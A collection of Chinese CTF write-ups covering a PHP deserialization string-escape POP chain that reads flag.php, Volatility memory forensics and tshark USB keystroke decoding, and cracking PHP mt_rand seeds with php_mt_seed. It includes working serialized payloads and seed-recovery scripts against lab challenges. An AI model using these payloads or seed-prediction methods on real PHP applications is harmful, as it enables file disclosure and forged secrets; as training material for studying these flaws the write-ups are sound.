​从源码中可以看到这是一个POP链的构造, 这里很明显是用C类中的__toString()方法中的file_get_contents()来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = 'a'.$this->b; 此处的$b属性实例化为C对象即可触发__toString()方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B,整个POP链便构造完成了:

$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);

得到:

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

​而接下来才是考虑反序列化字符串逃逸的问题,可以看到有两个过滤代码,一种减少一种增加,同时要求传入username和password的值,那么很明显就是上面我们所介绍的第二种方法(减少),同时注意带有POP链构造的,第一步一定要是POP链的构造,也就是第二种方法介绍的第一步。

首先a的过滤字符随意传入,b传入;s:8:”password”;O:1:”B”:1:{s:1:”b”;O:1:”C”:1:{s:1:”c”;s:8:”flag.php”;}}}

再看前面的双引号,出现了预期的不对应,补充A”,再次传入

计算画线长度为24,同时知晓过滤后字符由6变为3(减半),因此构造长度为48的\0大军,即(24个\0)

object(A)#2 (2) {
  ["username"]=>
  string(48) "********";s:8:"password";s:74:"A"
  ["password"]=>
  object(B)#3 (1) {
    ["b"]=>
    object(C)#4 (1) {
      ["c"]=>
      string(8) "flag.php"
    }
  }
}

​成功修改了C类中的c属性的值,变成了flag.php

0x03 最后

反序列化字符串逃逸中的难点有两个,一是POP链的构造,二是字符串减少的逃逸,字符串变多的逃逸只应用了减少中的一部分,因此相较为简单,本文也没对此类CTF题进行解析,思路与第一个Demo的构造是相同的。

练习:[GYCTF2020]Easyphp,[0CTF 2016]piapiapia可在BUUCTF上寻找复现

Referer:

https://blog.csdn.net/qq_41918771/article/details/105754357

https://jiang-niao.github.io/2020/03/24/PHP%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E9%80%83%E9%80%B8/

0x00 前言

本文对我曾接触到过的CTF中的内存取证类题目与USB流量分析类题目进行一个总结类梳理。其中kali里集成了取证神器volatility与流量分析神器tshark

0x01 Volatility

第一步提取内容镜像信息

常用命令volatility -f <xxx.vmem>(或xx.raw) imageinfo

使用imageinfo插件获取到基本信息,特别是内存数据是什么操作系统下生成的,这点尤为重要 (如图的WinXPSP2x86) 因为在接下来每一步都要命令“–profile”指定操作系统的属性。

第二步列取文件中曾使用的进程信息

常用命令: pslist/pstree/psscan

1)pslist无法显示隐藏/终止进程。
2)解决这个问题的插件是psscan,这个插件输出的内容会比pslist多得多。(所以全面信息获取用psscan)
3)pstree同样也是扫描进程的,但是是以进程树的形式出现的。

同时可以搭配grep命令进行对可疑进程(cmd.exe、notepad.exe等)的快速筛选

第三步根据进程中使用的工具对应查看

常用命令:cmdscan notepad

cmdscan 可以用来查看受害者系统上攻击者操作的最强大的命令之一,无论他们是否打开cmd.exe。简单地说,可以看到攻击者在命令提示符中键入的内容。

当进程中存在notepad.exe时,可用notepad插件查看文本中所写内容

第四步文件探测

常用命令:filescan

该命令通常结合grep命令对所需要文件进行筛选,以下我已在CTF中遇到的两道内存取证的文件隐藏做出结论:大概率搜索桌面即可。

第五步提取文件

常用命令:dumpfiles memdump

volatility -f [imgfile] –profile=[imgversion] dumpfiles -Q [file_offset] –dump-dir [outdir]

注意红框所示需要对应,–dump-dir指定下载到本地的什么位置(这里是当前目录),注:下载下来的文件如果是普通文件(图片,文本)会直接以dat结尾,如果是压缩包,则会在前面加上一个.zip(蓝箭头所指)后续的使用修改为对应文件名及其后缀即可。

dump画图进程: dump 出来的进程文件,可以使用 foremost 来分离里面的文件。332是对应进程的pid 。不进行分离的题型参看https://shawroot.hatenablog.com/entry/2019/11/12/%E8%AE%B0%E4%B8%80%E9%81%93%E7%BA%A2%E5%B8%BD%E6%9D%AFCTF%E9%9A%90%E5%86%99%E9%A2%98%E6%B5%85%E5%AD%A6Volatility

0x02 USB流量分析

这里以XMAN2018挑战赛的AutoKey进行学习

题目下载

pcapng文件用wireshark打开出现如下信息,这里是经典的提取usb流量问题

tshark -r attachment.pcapng -T fields -e usb.capdata > usbdata.txt

-r: 读取本地文件,可以先抓包存下来之后再进行分析;
-T,-e: 指的是打印这两个字段;

结果会保存到usbdata.txt中。

用脚本对USB信息进行翻译

#!usr/bin/env python
#-*- coding:utf-8 -*-
mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
         continue
    nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    else:
        output += '[unknown]'
print 'output :\n' + output

还有一种USB信息转换为轨迹坐标的方式。文章参看Root师傅的博客文章https://shawroot.cc/archives/580

0x03 网络安全与执法专业比赛取证10题

考点:volatilty内存取证,USB流量分析,希尔密码

进程中没有看到notepad,但是又cmd进程,利用cmdscan插件查看得到希尔密码的矩阵,还缺少一个密文。

进行文件搜索,最后将zip文件提取出

修改后缀后打开压缩包发现是一个img文件。考虑linux磁盘挂载。

可以看到有一个usb.pcapng文件,考虑USB流量分析,这里直接用tshark命令搭配上面的脚本获取隐藏信息

得到写入密码的密文,利用在线网站进行解密:https://www.dcode.fr/hill-cipher

如上所选修改成对应的3×3矩阵。得到最终的结果

最后注意要取消磁盘挂载:umount ./guazai(挂载文件夹)

文章参考:https://shawroot.cc/archives/673

0x04 最后

感谢Root师傅的带飞,这次比赛跟Root师傅学到了好多。

php中重要的几个随机函数

  • rand() 不指定参数时,范围0-32767
  • mt_rand() 不指定参数时,范围0-2^32-1
  • srand() 给rand()函数播种
  • mt_srand() 给mt_srand()函数播种

个人理解: mt_srand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。

为什么生成随机数会一样呢?我们多次访问。可以看到再次循环的输出的时候它的随机数并没有改变,依然是红框中出现的数字

其实,这就是伪随机数的漏洞,存在可预测性。

生成伪随机数是线性的,可以理解为y=ax,x就是种子,知道种子和一组伪随机数不是就可以推y(伪随机数了吗),当然实际上肯定更加复杂。

我知道种子后,可以确定你输出伪随机数的序列。
知道你的随机数序列,可以确定你的种子。  

用到的是爆破,已经有写好的C脚本了。 下载地址:https://www.openwall.com/php_mt_seed/php_mt_seed-4.0.tar.gz,可放到kali下执行

kali下,进入目录,make  
time ./php_mt_seed 第一个随机数 

该脚本用于爆破出种子。

接下来以[GWCTF 2019]枯燥的抽奖一题为例深入学习php伪随机数问题

首先进入题目

在源代码中看到有check.php的存在,访问获得源码

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

代码理解:

首先mt_srand的种子是一个键为seed的session值,并且该值要求是在0到 999999999之间取得的一个随机整数,再接着进行20次循环对str变量进行拼接赋值。这其中了解一下substr的语法: substr(string,start,length) 函数返回字符串的一部分。

$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); 

所以这段代码就可以拆分两部分理解,首先通过mt_rand函数计算0到62之间任意一个整数减一。求得所得的值在str_long1变量的字符串中所在的位置对应的字符。注意这里的排序方式同数组,第一位是0。

再把str的值取前10位的值赋给str_show变量

最后我们通过post方式传递一个num值,如果与str变量的值相等,输出flag。

滤清思路后 先用脚本将伪随机数转换成php_mt_seed可以识别的数据,得出页面显示字符所用的随机数

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='yY8woJo2bZ'#是页面上显示的
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

因为我们知道页面中给出的10位数只是其中一部分,所以我们可以通过这个已知去推出对应的随机数。

再用php_mt_seed-4.0进行爆破种子

可以看到得到483282717,但是需要php7.1.0以上版本运行,于是可以本地构造获得所有随机数。

<?php
mt_srand(483282717);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "$str";
?>

最后将得到的随机数填入得到flag